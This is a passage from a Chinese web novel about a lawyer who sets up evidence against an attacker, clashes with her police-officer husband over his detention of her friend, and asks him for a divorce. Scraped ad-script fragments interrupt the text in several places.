等到谈婚论嫁的年纪,遇见了林茜,温柔、漂亮,名牌大学毕业生,又从美国留学回来,是完美的妻子人选。看着同期的朋友还在为找工作,找老婆发愁,为留在北京还是回家乡发展纠结,他想要的简直手到擒来,是上天眷顾的幸运儿,从来也没遇过什么挫折。 如果说有什么美中不足,就是林茜的事业心太强,总是在加班,留给他的时间太少。当然,他也经常加班,已经一个月没休息了。最近同事都熬不住了,日夜盯人也没什么进展,食堂的线索也断了,香港那边又迟迟没有新的消息,本来他们也是协助,干脆休息两天。养足精神,再好好对付余琛。 另一头,老广私厨。 “怎么样?”余琛问。 “很鲜,这家会所不错,环境好,食材新鲜,师傅的手艺也很棒。”林茜笑着赞道。 “那就好,我说要带你试试地道的广东菜,总算没吹牛。”余琛平日自带威严,但每次和林茜相处时,眼里都有一点淡淡的笑意。 “我刚说的计划,你觉得怎么样?”林茜放下汤匙,抬起头看着余琛,眼睛亮亮的,像两颗闪烁的星星。 余琛心里是反对的,可他贪恋这样的目光,一时没有回答。 “余琛?” 余琛垂下眼睑,“有点冒险。” “是有一点,但只要我不离开你的视线,就不会有事,对不对?”林茜没打算放弃。 “嗯。”余琛宁愿自己被仇家追杀也不想她冒一点风险,可他没办法拒绝林茜的期待。 林茜听到余琛答应下来,松了一口气,又忍不住叮嘱道:“还有,万一我真的受了伤,你也不要冲动,只能防御,不要反击对方。这件事原本就是我请你帮忙,要是把你牵扯进来,我……” “放心,不会有事。”余琛打断她。 “好。”林茜露出一个温和的笑。要紧事都谈完了,终于可以好好享受美食,林茜慢慢喝着一碗砂锅粥,胃里感到熨帖。 *** 林茜早出晚归,为案子做最后的准备。转眼到了周四,法官安排在下午2点开庭。怕路上堵车,林茜和她的搭档律师、助理、客户一行四人12点就到了法院附近,打算午饭就近解决。 这个法院在开发区,位置很偏,附近只有一家肯德基,和一个刚投入使用不久的工业园。午餐高峰,店里都是附近工业园的上班族。林茜从店里出来,似乎是去旁边的停车场取什么东西。 关昊今天总有种不详的预感,但又说不清是什么。直到小李给他打了电话:“头儿,余琛进了海青派出所!” 余琛进局子了?机会啊! 电话那头的小李犹豫了一下,又说:“嫂子也在,还有……” “还有什么?”关昊直觉不妙。 “嫂子好像受伤了……” 关昊这一路把车开得飞快,他说不清是什么驱动着他快一点,再快一点。是担心林茜的伤?是兴奋余琛终于要落到他手里了?还是搞不明白为什么越来越难见到的老婆又和余琛有瓜葛?他不敢想,只是不断往前冲。 关昊赶到派出所的时候,林茜和余琛已经做完了笔录。派出所的同志和他简单介绍了一下案情。 还是冲着林茜的案子来的。对方跟踪她到停车场,趁她落单的时候拿刀威胁她把证据交出来,林茜不肯,挣扎的过程中受了伤。 据林茜的口供,对方之前已经抢过一次,没有得逞。今天开庭,怕对方再来,已经拜托了朋友在附近暗中保护。 “为什么不直接和她们一起?”关昊问的是这个朋友。 “我们也问了这个问题,说原本以为在法院附近,对方不会这么明目张胆,而且客户是位女士,官司又涉及到情感纠纷,牵扯了不少隐私,不想有个陌生男士跟着。所以就让他在附近。” 林茜口袋里的手机录下了她和歹徒的对话,停车场新装的摄像头拍下了她被劫持的一幕。歹徒被制伏后林茜迅速报警,然后就有了现在的场景。 林茜披着一件显然宽大的男士夹克坐在椅子上,旁边站着余琛。 这种不详的预感,关昊终于知道是什么了。自从接手了余琛的案子,关昊就处处吃瘪。线索查来查去总是无疾而终,自己的老婆又三番五次牵扯进来,关昊只觉得气血上涌,握紧拳头逼自己冷静下来。 犹豫了一下,关昊还是先走到林茜面前,问:“你怎么样?” 关昊走近 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后才看到,林茜身上不只一处伤,脖子上有擦伤,应该被匕首划到的,昭示着当时的凶险。衬衣的扣子被扯掉了一颗,隐约露出锁骨的轮廓。肩膀虽然被外套盖住了,但血迹还是透过衬衣浸染到胸前,看着触目惊心。 “我没事。”林茜给他的,只有这平淡的三个字。 关昊有种说不出的烦躁:“嫌疑人呢?”他转过头问旁边的同志。 “呃,还在医院。” 还在医院?林茜都已经包扎好做完笔录了,嫌疑人怎么在医院? 旁边的警察看出了他的疑惑,指着余琛说:“是这位同志,真是个好手,一拳就打裂了对方的下颌骨。兄弟,您以前练过吧?” 余琛的注意力都在林茜身上,忽然被提到,只是微微点了点头:“嗯。” 下颌骨骨裂?那有可能够得上轻伤了。关昊敏锐地抓住机会:“同志,你们所长呢?” 旁边的人没想到有这一问,愣了下回道:“在办公室,我带您去。” 关昊转过头对小王说,“你在这盯着。” 小王心领神会,“没问题,关哥!” 林茜看在眼里,觉得不太对劲,向出警的警察说:“同志,我们已经做完笔录,是不是可以走了?” “可以,保持电话畅通,有情况会通知你。” “好的,谢谢。” 余琛扶着林茜刚要走,被小王拦住:“嫂子您先回去休息吧,他得在这留一会儿。” “为什么?”林茜盯着小王问道。 “呃……”小王挠了挠头,一时不知道怎么回复,总不能把关昊在车上说的话原样复述出来吧,“这小子总算落到咱们手里了,管他是因为什么事,就是无证养狗,咱们也得把这个案子接过来!” “关哥,那是他们辖区,能放人吗?” “都是兄弟单位,协助办案有什么不行的,不行我就给科长打电话!” 余琛知道今天可能走不了了,他担心林茜的伤,温声安慰道:“你先回去休息吧,这里交给我。” “不行,”林茜问小王:“为什么不能走?” “这个……等关哥回来再说吧。” “你以什么理由不让我们走?” “工作需要,不方便讲。”小王挺起身板,拿出气势,希望能奏效。 “就算是执行公务,也需要两人以上,你现在不符合条件,已经违反了程序。请让开。”小王这个反应算踢到铁板了。林茜就是刑诉专业毕业的,程序门清儿。 “嫂子,您别为难我。”小王自己也清楚程序上的瑕疵,语气缓和下来,但没有丝毫让步的意思。抓余琛不容易,这个机会不能轻易放掉。 关昊出来了。 “余琛,你涉嫌故意伤害罪,跟我们走一趟吧。”关昊走到余琛面前。 “等等,对方正在行凶,余琛是正当防卫。录音和录像都可以清楚显示,他只有防卫动作,没有进攻动作,根本没有犯罪意图!”林茜马上做出解释。 “这个我们会做判断。” “关昊,这里是海林辖区,就算要管也轮不到你朝北区来管。更何况你是经侦科,这根本不是你的职权范围!” “所长已经同意,这个案件移交我们处理。”关昊例行公事地回复。 “你以什么理由带他走?”林茜寸步不让。 “现行犯,依法拘留。” 林茜气急:“关昊,你徇私枉法!” “别干扰我们办案。”关昊的表情有一丝僵硬,越过林茜去抓余琛。 林茜还想说什么,被余琛按住没受伤的一侧肩膀,安慰道:“不会有事,放心。” “小王,这个案子相关的所有物证,一并带走!”关昊盯着余琛放在林茜肩上的手,“所有”两个字说的咬牙切齿。 “好嘞,关哥!” 林茜眼睁睁看着关昊带走了余琛,停车场的录像,和她的手机。 5. 第 5 章 失血和愤怒让林茜眼前一阵眩晕。 “你没事吧?”旁边的女警察看她状况不好,过来扶了她一把。 关昊的做法,其实让这里的警察心里也太不舒服。 余琛按正当防卫处理,问题不大。林茜说的没错,歹徒正在行凶,余琛整个过程只出了一拳,制伏对方后就没有任何动作了,人证物证都在,这是一次近乎完美的正当防卫。 关昊要较真走流程,也没错,只是这确实是他们辖区刑侦的案子,被一个其他区的经侦警察把人给带走了,面上实在不好看。 几个年轻警察的不满已经写在了脸上,不知道所长是怎么想的。 这么执着抓人,除非是牵扯上别的事了,难道涉及大案?几个老同志交换了一下眼神,心里各有评判。 “我没事。”林茜看了一眼女警察,闭了闭眼平复心情,再睁开眼时声音已经稳定下来:“有吃的吗?我可能低血糖了。” “有。”女同志本来就有点同情林茜,拿来了面包,火腿肠,还沏了一杯红糖水,“流了那么多血,喝点红糖水补补吧。” “谢谢你。”林茜大口吞着面包,慢慢冷静下来,她还有很多事情要做。 *** 以现行犯的名义拘留可以没有拘留证,但仍需要在24小时内进行讯问,在发现不应当拘留的时候,必须立即释放。也就是说,留给关昊的时间,只有24小时。 回去的路上小王开车,关昊则拿出了林茜的手机。那是林茜去年换下来的旧手机,已经删掉了开机密码,任何人都可以看到里面的内容。关昊先打开文件夹,看到了中午的那段录音。又打开通话记录,发现上面只有两通电话,都是打给同一个号码,第二次通话时间和录音的时间正好吻合。这就解释通了,证据为什么如此完美。 林茜从落单开始,就已经打开了录音,同时拨通了余琛的电话。余琛在不远处看着,当录到歹徒说出自己目的的时候,余琛就冲出来救她,这样案件就彻底做实了。很冒险,但值得。 尽管知道她出色,但平常的林茜在关昊眼里只是一个女人,后来变成一个妻子。直到现在,关昊忽然以局外人的视角真切地感受到她作为律师的专业与强悍。 关昊又打开手机里的通讯录,空空如也。用这部手机给自己拨了电话,来电显示上是一个陌生的号码。 回到分局,已经5点多了。关昊没有立即审问余琛,而是安排了另外两个同事问,又交代小王去查一下这两个电话号码。在工位上点了一支烟,关昊开始复盘今天的经过。 林茜想赢官司,而且手里握着关键证据,所以对方三番五次找她麻烦。想到这关昊有点懊悔,为什么之前没重视她的话。这件事原本有更稳妥的方法,就是找他或其他可靠的男性朋友全程陪着她。这样既能保证证据的安全,也能保证她的人身安全。 只是这样中规中矩,是排除隐患后按照既定的程序在办案。 但她没有这么做,她提前做好了准备,找到有监控的停车场,手机设好了录音,只等对方送上门来,显然是想利用这起袭击事件推动自己代理的案件进展,让法官更偏向自己一方。 她选择兵行险着,出奇制胜。 她也想到了自己的手机会被作为证据,所以提前准备了一部清空的旧手机,只留下和案件相关的资料。 做到这里已经非常缜密,但余琛的号码是他没见过的,不是他们监听的那个。余琛24小时被监视,除了他们意外遇到的那次,后来再也没发现他们见过面。但显然他们私下是有联系的,林茜对余琛的事知道多少?仅仅是食堂照面的关系吗?没这么简单。 专案组没有一个人有下班的意思,大家都知道,今晚要通宵了。 审讯的同事开门见山,问赃款的去向。 “阿Sir,我是因为见义勇为才到这的,你们好像弄错了。” “我问什么你答什么!” 余琛因为早年离奇的经历,和警察打过不少交道,对审讯的套路不说很熟悉,应付两个年轻的警察倒不算太难。 科长在屏幕前看着审讯,皱起眉来。 关昊走了过来:“科长。” 科长没回头,盯着屏幕:“小关啊,年轻人太毛躁。余琛是个老江湖了,这样下去什么也问不出来。” 关昊听到询问受阻,心里也是一堵,先说了自己这边的情况:“科长,小王回来了。这两个手机号是都是上周末办的,登记在余琛拳馆的一个教练名下。通话记录都是一样的。” “哦?那说明是专门为这次瓮中捉鳖准备的。你太太和余琛,平常联系一定还有其他的方式。” “是,我也这么想。”科长的话说的很直白,关昊面子上有点挂不住,也只能硬着头皮回答。更让他难堪的是,他直觉用新的手机号是林茜的主意,目的当然是保护余琛。 审讯室里同样一片沉默,讯问陷入僵局。科长盯着屏幕,“换人吧,让张平去。我们只有24小时,这次再放走他,下次就不知道是什么时候了。小关,你太太那里,一定还有其他线索。我们现在没有证据,想查你太太,只有你能去。到明天下班前,能不能找到突破口,就靠你了。” “科长,有个事儿……”小王拿着手机走过来,支支吾吾。 “有事就说。” “就是,现在有个热搜,升的挺快,好像和余琛有关。” 科长把手机拿过来,是一条同城新闻,题目是《单身女性停车场遇袭,路人见义勇为反被捕》,下面的视频正是今天中午肯德基停车场拍下的一幕。 法制宣传办的老张这时候也过来了,“孙科长,我刚才接了好几个电话,说要采访咱们分局,对因为见义勇为被抓怎么看?想听专业人士的看法。好像和经侦这边有关。您看怎么办?” 科长没回复,而是转过来问关昊:“能拿到这个录像的,除了你太太,就是余琛的人了,小关,你说怎么办?” 几方的压力一起涌来,关昊头脑反倒冷静下来:“科长,万一问不出来,24小时就得放人,新闻我建议冷处理,没时间给他们。我老婆那边我去问。” “好。” 关昊联系林茜,发现电话、微信都被拉黑了。家里的电话也没人接。没办法,直接开到林茜的律所。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已经晚上7点了,律所里灯火通明,律师们都还在忙。关昊向前台打听林茜。 “林律师啊,中午去开庭,之后就没回来了。” 看来律所还不知道林茜遇袭的事。 “那她的同事回来了吗?” “她助理回来放了一次东西,然后就走了。” “你有她助理的电话吗?” “您问这个干什么呀?” “我现在联系不上林茜,想问问她助理。” “有倒是有,不过是她的私人电话,不能给您。您不是林律师的丈夫吗?您还是想想其他办法联系她吧。” “那这样,就在这,你打一个电话给林茜,总可以吧?” 前台小姑娘感觉很奇怪,又着急下班,不情愿地拨了林茜的电话。 电话响了很久才接通,“是林律师吗?” 关昊一把把电话夺过来,“林茜,你在哪?” “怎么是你?”林茜的声音透着疲惫。 “我有事问你。” “我累了,我需要休息。” “你在哪?我去找你” “医院。” 林茜肩膀的伤口裂开了,又因为奔波了半天,有些发热。关昊赶到医院的时候,她正坐在走廊里打吊瓶。 关昊习惯了林茜永远情绪平稳,头脑清晰,什么事丢给她,她都能处理好。现在看她整个人缩在宽大的外套里,头靠在墙上,合着眼睛,像一只萎靡的猫。 之前满肚子的疑惑,混合着生气、难堪、懊悔,走到林茜跟前时,都被一点心疼取代:“你怎么样?” “你来了,”林茜睁开眼,“想问什么?” “吃饭了吗?” “嗯。”在派出所吃的那一顿。 “我还没吃,一会咱们出去吃点吧。”这是关昊独特的示好方式。当他开始没话找话的时候,就是服软了。 “好。” “伤口还疼吗?” “还好。” 沉默了一会,林茜问:“今天不用加班吗?” “那还是老婆重要,工作哪有忙完的时候。” 关昊这么温和的语气,让林茜依稀想起他们恋爱的时候,那时候的他还不是经侦支队的队长,每天仿佛有使不完的力气,一头扎在案子里,老是忘了和她约会的时间。 那时候林茜也很忙,常常抱着电脑在餐位上边干活边等他。偶尔他会在路上买包糖炒栗子或一根糖葫芦,作为迟到的歉意。 现在想起来,也是很久以前的事了。 见林茜没说话,关昊继续没话找话:“我刚才去了你们单位,发现律师确实挺忙的,7点多了也没人下班,全在做自己的事。” “嗯。” “今天这个事儿,挺危险的,你怎么没找我呢?”关昊试探着提起。 “本来是想找你的,但你太忙了。” 关昊想起这几天在家的时间净在阳台打电话发火了,中间还和林茜吵了一架,心里也是一虚,但想起局长的嘱托,时间紧迫,又提起来:“你跟余琛,关系很好吗?” 来了,林茜心里想。 6. 第 6 章 “还可以。”林茜神色淡淡。 “这个事,不是特别相信的人,不敢托付给他吧。” “他是开武馆的,自己也打拳,身手好,反应快。找他很合适。”林茜避重就轻。 “为什么不找人直接陪着你呢?只要今天质证完,就能定案了吧。为什么冒这么大的风险?” “没那么简单。就算今天走完质证程序,对方也可以否认签字的真实性,可以申请笔迹鉴定,法官的自由裁量权很大,如果同意走鉴定程序,对方就可以在鉴定机构上做文章,本来很清晰的事情又会生出变数。” “所以你把它变成刑事案件,给法官压力,让他不批准鉴定,这个案子就能很快定下来。” “不是我把它变成刑事案件,是对方选择铤而走险。不过这也从反面印证了这份证据是真的。”林茜看着关昊认真说道。 “余琛为什么帮你?” “我们是朋友。” “你们最近经常见面吗?” “你是专程来问他的吗?”林茜反问:“就像上次一样。” “上次?”关昊反应过来,“你说在地铁站?” “当时你在场吧。” “你怎么知道我在场?” “那天早上你是开车出去的,傍晚却在地铁站里碰到我。平常我换了发型你都看不出来,那天却一眼就看出我头发乱了。最重要的是,自己的老婆刚刚被抢劫,你一点都不关心,却只对着一个不相干的人不停地问,这不会太反常吗?” 一直困扰关昊的问题仿佛出现了一根线头,只要抓住就能在一团乱麻中找到真相。关昊眼神锐利地盯着林茜:“老李被辞退和你有关吗?” “老李?”林茜心里猜到了,面上却是困惑的表情。 “就是之前给余琛开车的。”关昊眼睛一眨不眨地看着林茜。 “我不知道。”林茜说完又回过头靠在墙上。 关昊半信半疑,继续问道:“余琛以前在食堂打工,是不是也是你误导我?” “不是。”林茜合上眼,闭目养神,不再看他。 “对余琛你了解多少?” “不会比你多。” “你们平常怎么联系?” “微信。” “拿来我看看。” “关昊,”林茜又转过头来,“就算是你猜的那样,以你对我的了解,我会留下任何痕迹吗?” “不会,”关昊看着她,“但我要看。” “我拒绝。” “林茜,你现在是在玩火。”关昊的火气上来了。 “你现在是在恐吓。” “余琛是重要的犯罪嫌疑人,你帮他就是共犯!”关昊吼道。医院里人来人往,不少人往这边看过来。 林茜不为所动:“很有震慑力,但是很遗憾。我只知道余琛是开武馆的,不知道他从事了什么犯罪活动?触犯了哪条法律?有没有证据?” “你心理没鬼你为什么不给我看手机?为什么删聊天记录?” “手机里的内容涉及到与案件相关的商业秘密和我的个人隐私,就算伴侣也不可以侵犯。如果你是以警察的名义,那更需要遵守取证的程序。” 林茜油盐不进,关昊愈加烦躁,正要发作,有个护士走过来,把快要输完的吊瓶拔掉,又换了一瓶新的。林茜又闭上眼睛休息。 关昊端详着她,她瘦了,脸颊有点陷了进去,眼下有两片淡淡的青黑。眉头微蹙,不知在担心什么。 关昊的心又软下来,话里却有一丝酸意:“那个新闻,是你搞得吗?” 林茜不吭声。 “你就这么想救他出来?” “关昊,你用脑子想想,从你带走余琛,到新闻在网上发酵,一共才不到三个小时。三个小时的时间,要准备新闻稿,拿到视频,联系媒体,有可能吗?”林茜极少用反问句,这一天下来,她的耐心也快用尽了。 看关昊没反应过来,林茜又解释道:“这是planB。是提前准备好的。袭击事件中的不可控因素太多,歹徒没有说出受谁指使,录音证据就不能直接追溯到对方身上。所以需要新闻发酵,给他施压。” 但事情比想象中更顺利,对方知道打手被抓,也慌了,加上新闻的发酵,已经约了林茜明天谈判,这个案子有可能会有一个更快更好的结果。 “所以不是为了余琛?”关昊自己都没察觉到,问出这句话的时候竟然有一点高兴。她是为了案子。 “我根本没想过余琛会被抓起来。”整件事里林茜最担心的一点就是会把余琛牵扯进来,所以她选好带监控的地点,准备好录音,一再叮嘱余琛千万不要有攻击行为,没想到问题却出在关昊这里。 “好,过去的事都不提了。从现在开始,你不准再和余琛接触。”关昊决定大方地揭过这一页。 林茜一阵沉默。 “你不说话,我就当你默认了。” “我没有答应你。”林茜想了一下,认真说道:“关昊,我是律师,我不会做违法的事。” “我是警察,我老婆和我正在调查的犯罪嫌疑人走得近,你让警队的同事怎么看我?你能不能替我考虑一下?” “每个人都有自己要面对的问题。我只能管好自己的事,管不了别人的事。你同事怎么想是他们的事,我没有办法,你也没有办法。” “只要你不再和余琛接触,他们就不会在背后议论我。”关昊刚刚放下的心又浮了起来。 “他们在背后议论你什么?你听到了吗?” “他们在背后说怎么会让我听到?” “所以这一切都是你的猜测。” “林茜,我就是命令你不能再见余琛了!”关昊的火又起来了,质问林茜:“你能不能做到?!” 那种熟悉的感觉又回来。每当她和关昊意见不合又无法达成一致时,都会以关昊的怒吼和命令结束。但这次林茜不想妥协,她叹了口气,平复一下心情,解释道:“关昊,我不知道该怎么和你说。你不准我和余琛联系,无外乎几个理由。 第一,你是警察,你认为他有犯罪嫌疑。这一点我刚刚解释过了,以我目前的了解,虽然不多,但没发现他有任何不法行为,你也拿不出任何证据,那么公民之间正常的交流,警察不能干预。 第二,因为你在调查他,如果我和他走得近, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会影响你在警察局的声誉。这一点我不能认同。只是调查,不是定罪。换句话说,他也有被冤枉的可能。如果只是因为有一点嫌疑,我就和朋友绝交,你的声誉能不能保住我不知道,我的人品真的要打个问号。 第三,你作为一个丈夫,不希望我和别的男人,或某个特定的男人,有正常接触。如果是因为这个理由,那么对方是不是余琛都没有关系,我都不会同意的。我们虽然结婚了,但我还是一个独立的人。我没有做过什么出格的事,我和朋友之间正常的社交,不会因为你不喜欢就随便终止。” “你说了那么多,无非就是要继续见余琛。我是你老公,你想过我的感受吗?”这一天的心情如同过山车,隐藏在工作压力之下的,对妻子和余琛接触的不满,在此刻终于图穷匕见。 “我会考虑你的感受,但不会因此牺牲我自己的感受。” “行吧,你高兴就行,都听你的。”关昊没再发火,只感到一阵无力。 手机铃声响起来,林茜接通后短暂的“嗯”了几句,又挂断了。 沉默了半晌,关昊说:“你打算什么时候把我从黑名单里放出来?我也不能每次都跑到律所让前台打电话吧?” 林茜把他的号码从通讯录黑名单里拉了出来。关昊看着她操作完:“那我们,就算和好了?” 林茜又是一阵沉默。 林茜对于余琛的态度,简直铁桶一样。关昊想找突破点,比之前预想的要难。可白天的事已经触怒了林茜,他心里再急也只能冷静下来。 “你要不要靠在我身上睡一会?这几天这么忙,也没休息好吧。”关昊又服软了。 这一点倒是没说错。连日来高强度的工作,遇袭的惊险,情绪的波动,都在消磨着林茜的精力。肩膀的伤口还在一跳一跳地疼,林茜犹豫了一下,还是把头靠在了关昊肩上。 人有依靠的时候总是容易疲惫。 “关昊。” “怎么了?”关昊低下头看着林茜靠在自己身上,不敢动,好像一动就会伤着她。 “没事,就是叫叫你。”林茜的语气也弱下来,不像刚才那样冷硬。 “睡吧。” 林茜闭上眼睛,有滴眼泪滑了下来。 林茜不知睡了多久,醒过来时想拿出手机看下时间,发现手机不见了,原本披在身上的外套变成了关昊的,严严实实盖在身上,关昊也不见踪影。再看一眼输液瓶,马上见底了。林茜按了旁边的按钮,有护士过来取针。 “醒啦?”关昊正好走过来,手里拎着一瓶水和一个煎饼,“警队有事,我得回去一趟,你吃点吧。” “我手机呢?” “不知道啊”,关昊的眼神有点闪烁,“我看你披着的外套有点脏了,给你换了个新的,没动别的。我一会让护士给你找找,找到了告诉你,你先回家吧。” “好。” 关昊走了。林茜和上次在地铁站一样,看着他的背影,眼神却慢慢冷下来。 林茜没找自己的手机,她回到律所,大部分同事都还在加班。林茜打开自己的苹果电脑,定位手机的位置。光标转了几圈,最后定位在关昊所在的分局。 7. 第 7 章 分局这边,关昊不知道林茜的锁屏密码,只好交给技术科的同事。 两个小时后,关昊拿到了林茜的手机,发现微信已经被卸载了,关昊又在应用商店下载了一个新的,登录时需要手机验证码,却发现注册微信的手机号和本机的号码不是同一个。 关昊想起来,林茜有两个手机号,一个工作号,一个私人号,平常都装在这部手机里,现在却只剩一张SIM卡了。这时候,手机上收到一条来自林茜另一个号码的短信,“一个小小的恶作剧,偷手机的贼。” 关昊费尽周章,发现被林茜耍了,气急败坏。审讯室里,张平也毫无进展。关昊冲进审讯室,直面余琛:“你和林茜到底什么关系?她为什么这么保护你?” “林茜的伤怎么样了?”余琛没有回答他的问题。 “我的老婆轮不到你操心!” “连自己的太太都保护不了,你算什么男人?” 关昊攥紧拳头,努力让自己冷静下来。这时候被激怒,反而是中了对方的圈套。 一定有破绽。关昊盯着余琛,像猎豹盯紧了自己的猎物。 第二天一早,分局来了两个人,一个是余琛的跟班何广生,一个是康嫣然。 嫣嫣看了新闻,知道余琛出事了,急得不得了。阿生跟了余琛好几年,见过世面,知道这次没事,也陪着来了。接待的警察听了他们的来意,只说等通知吧,就没人理他们了。 到了下午4点,林茜也来了。 “诶,林律师,你也来接琛哥啊?”阿生跑过去打招呼。 “我来和他道个谢。”林茜看到了康嫣然,对阿生说道。 “嗨,都差不多,担心琛哥嘛。这不,嫣嫣也来了,跟琛哥和亲兄妹似的,从昨天晚上就闹着要来了。”阿生压低声音和林茜解释道。 关昊还在审讯室里和余琛做最后的困兽之斗。24小时到了,科长进来,“小关,放人吧。” 关昊和余琛眼里都布满了红血丝。两人周旋良久,未见分晓。 “余琛,我一定亲手把你抓回来。”关昊双手撑在桌前,盯着余琛一字一句道。 “随时奉陪。” 余琛出来后,看到了警局里等着的三个人。 “琛哥!”康嫣然最先跑过去抱着余琛的胳膊,“你没事吧?” 阿生对着林茜,用口型说“兄妹兄妹”。他跟了余琛这么久,傻子也看出来余琛喜欢林茜了。这种时候可千万不能让未来的大嫂误会,他这个小弟得冲锋在前解释清楚。 “我没事。”余琛轻轻拉开康嫣然的手,走到林茜面前:“你的伤怎么样了?” “我没事,你怎么样?”林茜看着他熬得有些红的眼睛问。 “我也没事。”余琛温和地说。 “琛哥,林律师说来向你道谢的。”阿生插嘴道。 “案子赢了。上午已经签了和解协议,对方再想反悔也来不及了。你是整个计划里最重要的一环。谢谢你,阿琛。” 阿琛?余琛露出一个微笑。 “呐,既然没事了,我们今晚给琛哥接风洗尘!我在聚贤楼定了包厢。”阿生说道。 “你们去吧,我还有事要处理。”林茜说道。 余琛看到林茜手上拿了一个档案袋,“还有工作吗?” “不,是我自己的事。” 余琛不再追问,一行人走了。 林茜走到关昊的工位前:“关警官,关于你在人民医院盗窃我的手机,有医院录像和手机定位为证。我保留报案及追究责任的权利,不过在这之前,有份文件需要你签字。” 林茜打开档案袋,一张《离婚协议书》递到关昊面前。 关昊看到签字栏已经有了林茜的签名。 “你跟我过来。”关昊不想在同事面前说这件事,一把拉着林茜走进会议室。林茜的伤口被牵动,皱了皱眉,没出声。 关昊觉得这是自己有生以来过的最差劲的一天。放走余琛后,科长把他留下,“小关,余琛的案子在香港撤案了,我们也不用再协助了。” 简简单单一句话,让这一个多月的辛苦都付之东流,关昊当然不甘心。更让他难以接受的是,查了一个月都没什么进展,仿佛是对他能力的嘲笑。 科长看出了他的情 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绪:“我们这一行,这种事情是难免的。你这个月也没怎么休息,周末回去放松一下,好好陪陪家人吧。”关昊出来后直接回到工位上,他感觉很累,没看周围发生了什么,但还是听到了林茜的声音。 他以为她是为了余琛,没想到她是来离婚。 会议室里,关昊对林茜说,“你想干什么?” “离婚。” “我今天很累,你别闹了行吗?” “我是深思熟虑之后做的决定。” “因为什么啊?!” “我们不合适。” “不合适你早干嘛去了?那当初为什么结婚啊?” “人这一辈子不可能做出的每一个决定都是对的。我们现在结束,好过越错越远。” “我们错哪了?你嫁给我不幸福吗?过得不好吗?” “我们三观差异太大,很难理解彼此,也没办法好好沟通。更何况,”林茜苦笑了一下,“丈夫偷妻子的手机,妻子对此亦有防备。我们不是史密斯夫妇,夫妻做到这个地步,没有必要再继续了。” “我就愿意做史密斯夫妇,不行吗?” “关昊,我认真的。”林茜看着关昊的眼睛说。 关昊忽然出去,一分钟后又回来,“啪”地一声把手机拍在桌上,“还给你,行了吧?” “为了避免被非法监听及定位。”林茜拿起手机,丢到了垃圾桶里。 “好了,扯平了。”关昊双手抱在胸前,盯着林茜说道。 “关昊,我们没有小孩,也没有任何共同财产。唯一要解除的,就是婚姻关系。这是我起草过最简单的协议,希望你不会考虑太久。” “我不同意。”关昊掏出一支烟抽起来。 “你不同意也没关系,接下来就会进入司法程序,你好好考虑一下。你的微信我已经从黑名单里放出来,想清楚了可以联系我。”林茜平静地说:“关昊,我希望我们好聚好散。” 关昊感觉到,医院里那个柔弱的像小猫一样的林茜不见了,冷静的,没有感情的林律师又回来了,像一把冒着寒气的刀,只是这一次,刀锋对向自己。 8. 第 8 章 林茜从公安局出来,已经接近5点,快到下班的时间了。家里肯定是不能住了,正犹豫是先回去收拾一下东西,还是先找落脚的地方。一辆SUV开了出来,林茜下意识往旁边躲了躲。没想到车停了下来,关昊从车窗中探出头来,“走吧,先回家。” 林茜不想理他。 关昊继续道:“或者你去哪?我送你。” 公安局门口人来人往,林茜不愿多做纠缠,上了关昊的车。 “先回去吧,我收拾一下东西。”林茜上车后说道。 “这么急着搬走?”关昊边打方向盘边说,“打算搬去哪?” “还没想好。” “没想好,就先别走了。反正明天就是周末了,最近我忙你也忙,干脆明天找个郊区的民宿,咱俩放松两天。” “我的案子还有一些收尾的工作,这两天要去律所。” “周末也不休息啊。你的案子怎么样了?” “已经签了和解协议。周一会再开一次庭,估计当庭就可以出调解书了。” “恭喜啊,这就算板上钉钉了,回头好好庆祝一下。” “等都结束再说吧,还没结案总是不能掉以轻心。” “你就是太谨慎了。”关昊笑道,忽然又想起她之前护着余琛,做的滴水不漏,一口气哽在胸口,一时无话。 林茜感受到了他情绪的变化,大概也知道为什么。关昊心高气傲,没受过什么挫折,这次在余琛这里吃了亏,难免气闷。 “你和余琛,到底是怎么回事啊?”关昊忍了又忍,还是问了出来。 没等林茜回答,关昊又自嘲道:“你放心,他的案子已经撤了。只是我,作为你老公,想知道而已。” “他以前救过我。我在大二暑假前认识他的。说认识,其实也就见过几次。那时候学校正在建新图书馆,校园里总有一些穿着工作服,口音天南海北的建筑工人。” “然后呢?” “有天晚上我从自习室出来,已经快11点了,碰到几个喝醉了的工人回工地旁边的临时宿舍,里面有个年轻的对我吹口哨,见我没理他就拦住我想动手动脚。那时候路上已经没什么人了,就算报警也来不及,我很害怕。正好余琛路过,和他们打了一架,帮我解了围。” “所以你才这么相信他,你的案子找他帮忙,明知道他有嫌疑也和他走得近?” “算是吧。” “你之前怎么没和我说呢?”关昊的语气缓和下来。 “你没问过。而且我和他也不算很熟。以前他话很少,几乎不谈自己的事,只说惹上了麻烦到北边躲一躲。这次再遇到,我也只知道他后来去了泰国,学了泰拳,又回香港开了几家拳馆,仅此而已。” 以前,关昊注意到这个字眼。那现在呢?他们联系多吗?关系到哪一步了?余琛的事她知道多少?关昊还想知道更多的细节,比如最近他们是怎么在严密的监视下联系,见面,都去了哪,说了什么。 林茜看了关昊一眼,知道他又在想案子。她了解关昊的性子,一根筋到底,这次在余琛手里吃了亏,不会这么容易就放弃,索性闭口不言,不再谈他的事。 车里又安静下来,关昊见林茜不打算进一步解释,知道也问不出什么,识趣道:“那,这个事就算过去了。” “嗯。”林茜淡淡地回应着。 说话间,车已经到了楼下。 “走吧,上楼。”关昊没等林茜回答,拿起她的包就下车了。 两个人一进门,闻到一阵饭香。 “呦,今天下班挺早啊。”关昊的妈妈来了,端出最后一盘菜,在围裙上擦了擦手。 林茜疑惑地看着关昊,关昊显然也不知道他妈会过来。这也是林茜一直不满意的一点,关昊的父母有关昊家的钥匙,有时候不打招呼就过来,让林茜觉得很不方便。 “这不又周末了吗,我估摸着你们这周也不歇吧,左等右等也等不来你们,想着过来看看,给你们做做饭。”关妈摘了围裙坐下,虽然句句都说“你们”,但显然指的只有林茜一个,毕竟关昊上周才刚回去。 